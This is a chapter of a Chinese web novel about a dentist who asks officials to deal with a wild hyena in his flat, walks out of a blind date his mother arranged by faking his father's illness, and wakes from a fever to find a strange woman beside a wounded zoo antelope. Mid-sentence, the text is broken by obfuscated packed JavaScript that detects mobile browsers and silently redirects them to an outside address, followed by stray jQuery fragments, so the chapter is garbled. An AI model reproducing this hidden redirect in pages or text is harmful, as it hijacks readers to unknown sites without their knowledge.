17.第 17 章
作品:《嫂子不像本地人啊》 “没什么大事,就是家里稍微有点事所以得延一天假。”
厉司铭单手捏着昨天临时打印好的照片资料,紧张地瞧着前方的咨询窗口叫号。
手机正是科室里的其他同事打来关心电话。
毕竟厉司铭在口腔科呆了不少时间,素来很少请假,也就是当初毕业答辩才耽搁了会儿,这次难得延假大家也不免好奇了下。
厉司铭不太擅长撒谎,但也谈不上什么请假羞耻。
若是旁人,大不了随便扯句生了点小病,早起不太舒服也就糊弄过去了。
但或许是为了避谶,或许是觉得请假就是请假,不必刻意美化,他还是选择了偏麻烦些的说法。
处理家里那只野生斑鬣狗...嗯,说是家里有点事应该也没错。
因为来得早,大厅内的叫号也只差一个。
手上厚厚一沓打印纸被厉司铭紧张的指节压出痕迹,又过了两三分钟,他这才听到了梦寐以求的叫号声。
“请002号前往1号窗口。”
厉司铭赶忙小跑过去坐下,立马将手上的资料全都给那工作人员递了过去,语速也提得飞快。
“您好,麻烦您直接看一下这份资料,我可以实名保证我没有撒谎,病史上也没有任何精神病征兆,目前我家里的确是有一只被我捡到的野生斑鬣狗...”
话在前面跑,魂在后面飞。
厉司铭生怕自己说慢了点就要被门口的保安轰出去。
“野生斑鬣狗?”
1号窗口内的工作人员挑了挑眉,用目光扫视了厉司铭一周。
上过班的人都知道,工作场里是没有秘密的。
今个儿一早,这工作人员就听到了客服同事的抱怨,说是前天晚上又接了个恶作剧骚扰电话,那人嚷嚷着自己家有只野生斑鬣狗...
要是没意外的话,这八成是同一个人吧?
见工作人员仍旧不大上心,厉司铭赶忙从资料里翻出几张监控视频录像截图。
“我知道你可能不太相信,但是你可以看看这几张截图。”
淡彩色的图像里,班斑的后背和侧脸得以被记录,不管怎么看,的确也不是正常小狗的模样。
“先生,您确定您是认真的吗?”
工作人员依旧用怀疑的目光打量着厉司铭。
“现在AI技术也挺发达的哈,但是斑鬣狗是非洲物种,目前咱们国内还没有野生斑鬣狗存在哦~”
工作人员无奈叹了口气。
这窗口工作也太难做了,他现在倒是能跟客服同事共情,天下奇葩数不尽...
斑鬣狗不是什么传统热门展览动物,比起狮子老虎这些猛兽来说,国内引进数量少,总体存栏量很低。
也就只有少数大型的知名动物园才引进了那么几只,集中在B市等大城市。
他们S市野生动物园也就借了俩,今年年底前都得给人家还回去呢。
“您之前是有打林业局官方电话对吧?我们这边也有跟野生动物园确认过,目前没有任何动物走失的消息哈。”
现场之路似乎也走不通,厉司铭重重吸了口气,还是用出了那一招。
他面色镇定且严肃道。
“那麻烦你们直接安排下外勤人员上门检查,这个是我的直接诉求,如果没有看到外派人员的上门记录,我会直接向你们上级部门投诉,并且在政-务服务里持续举报你们办事不作为。”
生活给了厉司铭重击,他想爬起来,却发现只能用魔法打败魔法!
此招虽无赖,胜算却大!
他看着窗口里那位办事人员嘴角都撇了下来,但手里还是老老实实打了个外出申请。
“好的,麻烦登记一下个人信息和联系方式,我们会在三天内安排人员上门检查,也希望您注意不要浪费公共资源哈~”
从前在医院,都是要被那些耍浑恶人高举投诉大旗迫害的厉司铭,现在也悟到了化身恶龙的快乐。
“请你们一定尽快处理,三天内无人处理我是一定会向上举报的。”
在办事人员的难看面色下,厉司铭顺利拿到回执,心中的石头也微微坠地。
还没出大厅正门,兜里的手机又匆匆响了起来。
“喂?司铭你这会儿在医院吧?方不方便出来下?”
母亲的声音传来,将厉司铭的片刻轻松打断。
“今天有事请假了,你这是来S市了?”
母子间长期积攒的矛盾摩擦让他们的关系变成了离近了会刺,拉远了反倒还能寒暄的游击战。
不过还没等他多说些什么,电话那头的声音便如机关枪一般突突灌了过来。
“好端端的又请什么假?算了,你现在快点过来吧,我在你们医院门口那个咖啡店等你。”
“是有什么事吗?”
电话那头的母亲语气突然略有些含糊道:“唉,就你爸身体之前不太舒服一直瞒着你,我就正好把他带过来做下检查,结果不是很好...”
原本就有些过于紧绷的神经在这瞬间又开始颤栗,厉司铭赶忙快步出门拦了辆出租车。
“具体是哪里不舒服?检查医生那边怎么说?你们要不还是先回检查科室,我这会直接过去!”
电话里不够详细的信息反倒加剧了厉司铭的紧张焦虑。
家里人的爱和恨,好与坏都像是被精心计算过的投入占比,他既无法与他们的幸福共情,也无法对里面的灾难无动于衷。
混杂裹挟之下,家庭的亲密关系就变成了一杯混浊的水。
难以泼洒,但又无法咽下。
“你爸说在医院里呆着不舒服,我们这会儿拿了检查报告就在楼下咖啡厅等你了哈,你快点过来,情况挺严重的。”
电话被匆匆挂断,出租车司机听到对话也没说什么,只是脚下的油门踏板踩得更用力了些。
十分钟不到,厉司铭冲下车,快速推开咖啡馆大门。
没到午休点,咖啡馆内人不算太多,吧台的店员悠闲地做着外卖单。
目光搜寻了下,厉司铭很快看见了角落里打扮得光鲜整齐的母亲黎沁,只是她对面坐着的,却不是他父亲,反倒是一个不认识的陌生女生。
沙发座椅上,黎沁不停抬头,听到新的推门声后转头望去。
“司铭!这儿呢!”
母亲脸上喜笑颜开,丝毫看不出电话里的着急。
“妈,我爸哪儿去了?”
厉司铭眉头微皱,隐约有些不大好的预感。
“哎呀,你爸当然是在单位老老实实上班嘛。”
黎沁站起身来,她的力气不大,却足以将儿子轻松摁下。
“司铭啊,这位冉小姐就是我之前跟你提过的那位姑娘,人家年纪轻轻就是S市一中的语文老师呢。”
客套而又亲切,黎沁满脸笑意继续道。
“小冉啊,这位就是我儿子厉司铭,现在就在边上的市医院口腔科上班,收入和前景都稳定。你们年轻人先聊着,阿姨就不打扰你们交流感情了。”
黎沁正欲起离开,厉司铭却将她快速拉住。
“妈,你这是什么意思?”
他已经隐隐猜出这是个骗局,是个圈套。
只是厉司铭没有想到,母亲为了逼他过来相亲竟然连父亲生大病的谎话都能轻易说出口。
出租车过来的路上,厉司铭甚至都开始害怕,难道是他早上说家里有事咒到了亲人?所谓严重的检查结果究竟有多么糟糕,是否会危及生命?如果需要转院又要找谁寻求帮助...
这些纷乱的思绪在看到笑意盈盈的母亲和陌生相亲对象时便瞬间破裂,转而将他自己打入了冰窖。
厉司铭想,他只是有点失望。
失望父母的手段还是没有变化,为了达成他们的一己私欲可以不择方式。
失望他自己,明明已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078525|193687||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经被无数次欺骗过,却还是要被这切不断的关系一次次折磨重蹈覆辙。
“您好,厉医生。我叫冉诺,今年23岁,父母都是S市本地人...”
冉小姐的长相不算差,算得上是清秀佳人。
和气的声音、不错的家庭背景,再搭配上体制内的稳定编制工作,任谁都无法否定她在婚恋市场上的价值。
但厉司铭已经无法再听下去了。
他冷淡开口打断道:“不好意思,冉小姐。”
“或许我母亲在跟您沟通时造成了一些误解,但是我并没有听从父母意见想要相亲的打算。”
“今天约您过来应该也耽误了不少事,您可以发一下收款码,所有的经济损失我会补偿您的。”
卡座对面,冉诺原本见相亲对象的外貌真如父母发来的照片那般,心里的喜意也从眉梢间冒出。
这回可算是货样对板了次!
看着男人那优越的身材和清冷英气的眉眼,冉诺正欲详谈却被这毫不留情的拒绝堵住了。
她就知道好资源不会流通到市面上!
相亲未成,见对方意志坚决,冉诺倒也没有想死缠烂打的念头。
她礼貌地笑了笑,调侃道:“没事,我今天本来也没课,你要是实在过意不去那就转我一百当车费吧。”
厉司铭没有含糊,直接将钱付了过去。
“确实不好意思,希望您今天过得愉快。”
正要离开的他却被母亲固执地拉住了胳膊。
“司铭!这来都来了你还闹什么呢!小冉啊,我儿子就是开个玩笑,你们好好聊啊...”
话音未完,厉司铭将胳膊上母亲紧紧缠绕的手指一一轻扯开。
“不会有相亲了。”
他双目认真地看向母亲,里面的寒意让黎沁僵在原地。
“妈,狼来了的故事你当然可以继续玩。”
“不要妄想继续控制我的人生,除非你想彻底玩脱。”
“你们本身就已经没有任何信誉可言,如果还要这样用谎言来欺骗我,那也没关系。起码之后家里真出事,你也无法见到我。因为,我已经分不清你到底是在说真话还是继续撒谎成性。”
挣脱开母亲的束缚,厉司铭垂着眸子出了门。
原本还算不错的天色突然也变得灰暗。
尽管加快了脚步,但走回家的厉司铭还是淋了好一阵雨。
主卧位置已经被那只斑鬣狗占据,这两天除了定时隔着门缝往里放上一大盆肉防止它饥饿抓狂,厉司铭都没敢进入拿取自己的东西。
客卧不方便洗漱淋浴,他匆匆洗了个头,用毛巾简单擦干便蜷缩躺进沙发。
家有“猛犬”的恐惧、官方人员的不信任、父母的欺骗...
这些天的种种压力痛苦混着这场糟糕的小雨,让厉司铭的头痛突破压制。
但身体的升温配合大脑的昏昏沉沉让他难以睁开眼。
额头成了烧红的铁板,身体内冷热交替,世界一下子变得粘稠而遥远。
太阳穴的刺痛成为了唤醒他的最后砝码。
不知昏睡了多久,厉司铭忍着难受,慢慢支撑着自己起身。
去医药箱里找点退烧药吃吧...
浑身无力的他此刻已经失去了敏锐的感知力,早已拉开的窗帘将浓重夜色里的月光引入卧室内,照亮了柔软的大床床垫。
厉司铭抬眼望去,就见一个陌生女人套着他衣柜里的卫衣,谨慎地嗅闻着他。
还没等他惊呼出声,旁边仿若凶杀现场的景象更是让厉司铭瞳孔紧缩。
一只脚环上挂着动物园编号的羚羊此刻正虚弱地瘫倒在卧室地板上。
伤口不断渗血,那血迹顺着方向,正好与那奇怪女人身上的卫衣血渍相汇。
女人尖锐的虎牙沾着血珠,但笑容却咧得格外大,弧度瞧着还有些诡异的熟悉。
“你醒啦?”

